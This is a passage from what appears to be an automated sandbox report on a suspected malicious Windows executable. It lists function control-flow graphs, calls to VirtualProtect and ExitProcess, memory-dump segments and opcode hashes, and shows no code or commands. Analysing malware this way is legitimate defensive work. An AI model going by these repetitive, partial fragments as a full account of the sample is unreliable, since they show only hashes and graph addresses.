                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID: oadLibraryW
                                                                                                                            • API String ID: 544645111-3996026158
                                                                                                                            • Opcode ID: 1b71e22457396b8c9d0060443e4af4641499f488ee58678de13c46ee7b9737d2
                                                                                                                            • Instruction ID: df434ca7ca77826700e992251a137219587e223a2426e2de2d8bcb4f6a9e58d7
                                                                                                                            • Opcode Fuzzy Hash: 1b71e22457396b8c9d0060443e4af4641499f488ee58678de13c46ee7b9737d2
                                                                                                                            • Instruction Fuzzy Hash: ED21F9F2D0502497F7308A15ED49FDB7B78DB84310F0580BAD90D63641D63D5BC6CAA6
                                                                                                                            Function 004590DC Relevance: 1.7, APIs: 1, Instructions: 215COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 253 4590dc-45910a 255 45910c-45914a 253->255 256 45914f-459190 253->256 257 45956e-45957c ExitProcess 255->257 258 4591d5-459299 256->258 259 459192-4591a7 call 4591a9 256->259 266 459562-459568 258->266 267 45929f-459376 call 459359 258->267 259->258 266->257 273 459381-45938f 267->273 274 459395-4593a2 273->274 275 45941d-45943c call 45943f 273->275 274->275 276 4593a4-4593ef 274->276 278 4593f1-45940d 276->278 279 45940f 276->279 278->279 281 459416 278->281 279->273 281->275
                                                                                                                            APIs
                                                                                                                            • ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,00458FE5,00000000,?,0043A418,?,?,00458E08,?,00000000), ref: 0045957C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: cd39c6b23871c361f9ae420f6ac07241ca715778ccdf598f6a02fdd13f4f7143
                                                                                                                            • Instruction ID: 2ee97472e8eed77e899391913360b512873cd34c1538d3d9648707520fa02a04
                                                                                                                            • Opcode Fuzzy Hash: cd39c6b23871c361f9ae420f6ac07241ca715778ccdf598f6a02fdd13f4f7143
                                                                                                                            • Instruction Fuzzy Hash: 7C8112B2D04114DFEB24CA14DD94BEF7B79EB84315F2480BAD90D96382D638AEC6CE41
                                                                                                                            Function 00457415 Relevance: 1.7, APIs: 1, Instructions: 174memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 318 457415-4574b3 321 45777c-457782 318->321 322 4574b9-457563 call 4574df call 45751f call 457566 318->322 324 457788-4577b9 VirtualProtect 321->324 322->324 328 4577f2-457875 call 457877 324->328 329 4577bb-4577d7 call 4577d8 324->329
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: 0bd02dc490c1241426775e9042cc61c56eaa2a01f97e21cab48e93037cbf08b7
                                                                                                                            • Instruction ID: b3586dca80ca221ff8b64fb189e8d95115207d6d609fcc3bc6edd7740bfddc85
                                                                                                                            • Opcode Fuzzy Hash: 0bd02dc490c1241426775e9042cc61c56eaa2a01f97e21cab48e93037cbf08b7
                                                                                                                            • Instruction Fuzzy Hash: AB51D8F2D041186BF710CB19EC94EEB7B79EB85310F1481BAED4D57201D6386EC5CAA2
                                                                                                                            Function 00457566 Relevance: 1.7, APIs: 1, Instructions: 155memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 340 457566-457590 342 45759b-4575a9 340->342 343 457637-457682 342->343 344 4575af-4575bc 342->344 345 457684-45768e 343->345 346 457693-4576e4 call 4576bb 343->346 344->343 347 4575be-457609 call 4575ec 344->347 348 45772e-457735 345->348 369 4576e6-4576f0 346->369 370 4576f2-457724 call 457720 346->370 361 457629 347->361 362 45760b-457627 347->362 352 457777 348->352 353 457737-457775 348->353 358 457788-4577b9 VirtualProtect 352->358 353->358 364 4577f2-457875 call 457877 358->364 365 4577bb-4577d7 call 4577d8 358->365 361->342 362->361 366 457630 362->366 366->343 369->348 370->348
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: ea16ff14538fa9c5b50318946c30c5300e1a8d22d2914a7b773b0f7d21a9fde7
                                                                                                                            • Instruction ID: 018eb0f31ad35fde33a9f6022f8b42f1226c4639ec5d2039aeb0d1cb9878c63a
                                                                                                                            • Opcode Fuzzy Hash: ea16ff14538fa9c5b50318946c30c5300e1a8d22d2914a7b773b0f7d21a9fde7
                                                                                                                            • Instruction Fuzzy Hash: 1D516CB1D084646BEB20CB59FC94AEF7B75AF41312F1481BBEC4952241D6385A8ACF86
                                                                                                                            Function 004575EC Relevance: 1.6, APIs: 1, Instructions: 117COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 05289697b2cdedb9339579d407ae95806c8e139b9d69a73bce6af941574b3b56
                                                                                                                            • Instruction ID: 697350b7b1bbcf0c5c72ef0f7784fc91f909004554b351d5157fa81dfa9e08aa
                                                                                                                            • Opcode Fuzzy Hash: 05289697b2cdedb9339579d407ae95806c8e139b9d69a73bce6af941574b3b56
                                                                                                                            • Instruction Fuzzy Hash: 3D414871D084646BEB14CB58EC94AEF7B75AF41312F1480BBEC4D93641D6386E89CF86
                                                                                                                            Function 004576BB Relevance: 1.6, APIs: 1, Instructions: 78memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 378 4576bb-4576e4 380 4576e6-4576f0 378->380 381 4576f2-457724 call 457720 378->381 383 45772e-457735 380->383 381->383 385 457777 383->385 386 457737-457775 383->386 389 457788-4577b9 VirtualProtect 385->389 386->389 391 4577f2-457875 call 457877 389->391 392 4577bb-4577d7 call 4577d8 389->392
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: 3783b7c73eb49244622a8ff2a349a7e63d3885b47b8f431044d47d28b4d4c8fe
                                                                                                                            • Instruction ID: 8cd7d327917692e4169bd7ac595c57ca90898d8be8807bceb865113541fb8b03
                                                                                                                            • Opcode Fuzzy Hash: 3783b7c73eb49244622a8ff2a349a7e63d3885b47b8f431044d47d28b4d4c8fe
                                                                                                                            • Instruction Fuzzy Hash: A12129B2C085749BF7208625EC44FDB7B78EB06311F1041FADC4D62541C6385E8ACED6
                                                                                                                            Function 004594A1 Relevance: 1.6, APIs: 1, Instructions: 60COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 398 4594a1-4594ca 399 4594cc-4594d6 398->399 400 4594d8-45950a 398->400 401 459514-45951b 399->401 400->401 403 45955d 401->403 404 45951d-45955b 401->404 405 45956e-45957c ExitProcess 403->405 404->405
                                                                                                                            APIs
                                                                                                                            • ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,00458FE5,00000000,?,0043A418,?,?,00458E08,?,00000000), ref: 0045957C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: fa661a32d2adea187457af83a65184e5a95d5169dd61d9ffd1f77c6ae7882cd8
                                                                                                                            • Instruction ID: 7f043b55bba1cea087d5b7230a66328f3964f628c50e939e6de4b99eb263b9e1
                                                                                                                            • Opcode Fuzzy Hash: fa661a32d2adea187457af83a65184e5a95d5169dd61d9ffd1f77c6ae7882cd8
                                                                                                                            • Instruction Fuzzy Hash: 0F1108B2805118EBFB518A00DC44BFF7779E781311F2480BAD80E92241D63C1FCACA57
                                                                                                                            Function 00457720 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 410 457720-457735 412 457777 410->412 413 457737-457775 410->413 415 457788-4577b9 VirtualProtect 412->415 413->415 417 4577f2-45786a call 457877 415->417 418 4577bb-4577d7 call 4577d8 415->418 423 45786f-457875 417->423
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
